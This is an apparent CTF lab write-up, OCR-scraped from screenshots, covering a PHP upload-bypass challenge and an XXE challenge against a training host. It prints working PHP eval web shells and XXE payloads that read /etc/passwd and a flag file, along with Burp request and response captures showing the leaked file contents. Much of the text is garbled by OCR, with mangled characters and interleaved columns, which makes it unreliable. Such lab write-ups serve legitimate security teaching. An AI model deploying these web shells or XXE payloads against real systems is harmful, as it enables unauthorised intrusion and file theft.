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|Raw | Params | Headers | Hex | |Raw | Headers | Hex | HTML | Render |
b Content-Type: text/html i
i —————————————————T45034707372865017314561
77781 <html><head><{meta charset="utf-8" /></head’<body>
Content-Disposition: form-data; name="dir” Array
(
uploads/1. php [0] => . jpe
=== T4 5024 T0T 37286501 7314561 [11 =» jpe
| 77781 )
Content-Disposition: form-data; name="file”; Upload: 1. jpg<br />Type: text/plain<br />Size: 0.0263671875 Kb<br
filename="1. jpg”~ 'Stored in: . /uploads/Ba9e5f6a7aT89%ach. phparray(4) {
Content-Type: text/plain ~ ["dirname”]=>
string(9) ”. /uploads”
?php Beval (S_POST["g'1):? ["basename”]=>
T45054707372865017314361 string(5) “1.php”
TT781 [Textension™]=>
Content-Disposition: form-data; name="submit” string(3) “php”
["filename™]=>
Submit string(1) “1*
T45054707372865017314561 }
TT781— hroBEEFEMEMAE (flag) —#¥: <broflag{asdf_hetianlab_com} </ body>
._J html W/
L r
|2 || = || *||=||Type a search term 0 matches t |l =||*||= || Type asearchterm 0 matches
Done 698 bjtés[| 008 il |

flag{asdf hetianlab_com}

B\ | SR LE




+

@ |O & 10.1.1.147
Desiesnes

0 HieirE—BRIIREI Firefox 7. SEESE— MUBIHLFSIRFESMES 7 FER—0 . WiDEsE ! *

B Firefo...

N4 &

CSDN @shux

<script language="Php">eval($_REQUEST[1])</script>
< Fiphp &Rt it & ¥ T, phpA LAKESidPhp

| Burp Suite Profassional vibbets - censed to LarmiLay =10];
Burp Intruder Repeater Window Help

| Targel | Proxy | Spider | Scanner IIn‘rrl.ldm |Rnpuhir | Sequencer | Decoder | Comparer | Extender | Oplions IAIarIs
1- o ..

Go . Target: hitp:/10.1.1.147:5008

J' Raw] Params | Headers | Hex | I Rawi Headers | Hex | HTML | Render

Frre

${document) . ready (function() |
(" #selectFile’ ). on{" click’, funetion() {
SO &file’ ). trigger (" click’) }):
${"#file’ ). change (function() { ${ #iselectedFile ). val (${this). vali})
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<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY admin SYSTEM "file:///etc/passwd">
1>

<user><username>&admin;</username><password>123456</password></user>

|Tugnt l Prory | Spider | Scanner | Intruder u Sequencer | Decoder | Comparer | Extender | Options | Alerts |

Go Cancel <n >

Request
Params | Headers | Hex | XML |

05T /dologinl. php HTTP/1.1

lozr: 10. 1. 1. 147:3013

lger—Agent: Mozilla/5.0 (Windews NT 6.1: WinBi: x64: rv:90.0) Gecko/20100101
‘irefox/90.0

ccept! spplication/xml, text/xml, ®/%; g=0.01

ceept-Language: zh-CN, zh:g=0. 8, zh-TW:q=0. 7. zh-HK:q=0. 5, en-US5:q=0. 3, en:q=0. 2
ccept-Encoding: gzip, deflate

ontent=Type: application/zml;charset=utf-8

~Requested-With: XMLHripRequest

‘ontent-Length: 179

trigin: http://10, 1. 1. 147:5013

‘onnection: keep-alive

wferer: hrip://10, 1. 1. 147:5013/
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?xml version="1.0" encoding="utf-8"7>
'DOCTYPE note [
<!ENTITY admin SYSTEM “file:///etc/passwd™>

b
userr{username >kadnin; </username><password>123456</password>< /userf
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HTTP/1.1 200 OK

Date: Wed, 24 Nev 2021 02:58:59 GNT
Server: Apache/2. 4.7 (Ubuntu)
X=Powered=By: FHP/3. 5. 9=lubuntud. 25
Vary: Accept-Encoding

Content-Length: 1054

Keep-Alive: timeout=3, max=100
Connection: Keep=Alive

Content—Type: text/html; charset=utf-8

‘result><coder0/coder‘msgiroot:x:0:0:root: /root: /bin/bash
daemon:x:1:1:deemon: /uzr/sbin: /usr/sbin/nologin
bin:x:2:2:bin:/bin: fasr/sbin/nologin

sys:x:3:3:sys:/dev: fusr/shin/nologin
syne:x:4:65534:sync: /bin:/bin/synec

games:x:5:60:games: /usr/games: fusr/shin/nologin
man:x:6:12:man:/var/cache/man: /usr/sbin/nologin
lp:x:7:7:1lp:/var/spool/lpd: /usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/shin/nologin
news!x:9:9:news:/var/spool/news: fusr/sbin/nologin
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<div class="vizard-navigation">
<ul>
<lir<a href="faboutr™ data-toggle="tab™>tip=:</fa></lix
<li><a href="javascriptivoid(0)" ><span style="color:red:;" class="mag"></span></a></1li>
€l== <li>ca href="javascript:void(0)" »<span style="color:red;™ class="msy">rlagE/opt/Llage. txt X Pe/spans</as</1i> -=>
<lir><a href="javascript:void|0) "></a></1li>
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POST /doLoginl. php HTTP/1.1 . HTTP/1.1 200 OK
Hest: 10. 1. 1. 147:5013 Date: Wed, 24 Now 2021 03:02:14 GMT
User-Agent: Mozilla/5.0 (Windows NT 6. 1: Winb4; x64; rv:90.0) Gecko/20100101 Server: Apache/2.4.7 (Ubuntu)
Firefox/90.0 X-Powered-By: PHP/5. 5. 9-1lubuntud. 25
Accept! application/xml, text/mml, */*; g=0.01 Content-Length: 62
Accept-Language: zh—CN, zh;q=0. 8, zh-TW:q=0. 7, zh-HE; g=0. 5, en-US:q=0. 3, &n;q=0. 2 Keep-Alive: timeout=5, =ax=100
Accept=-Encoding: gzip, deflate Connection: Keep~Alive
Content-Type: application/xml;charset=utf-8 Content-Type: text/html; charset=utf-8
X-Requested-With: XMLHttpRequest \
Content=Length: 182 ! dresult>(code0</coder<msg’flagl{hetianlab_ctf}
Origin: http://10.1.1.147:5013 /msgr<{/result>
Connection: keep-alive
Referer: hrtp://10. 1. 1. 147:5013/
?xml version="1.0" encoding="utf-8"7>»
<!DOCTYPE note [
<!ENTITY admin SYSTEM “file:///opt/flag2. txt[>
»
{user>{username *kadmin: {/username’<password>123156</password><{/ user> B
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TEST IT!

SEE THE RESULT!

flag{enter_your_passwd} CSDN @shuzx

flag{enter_your_passwd}
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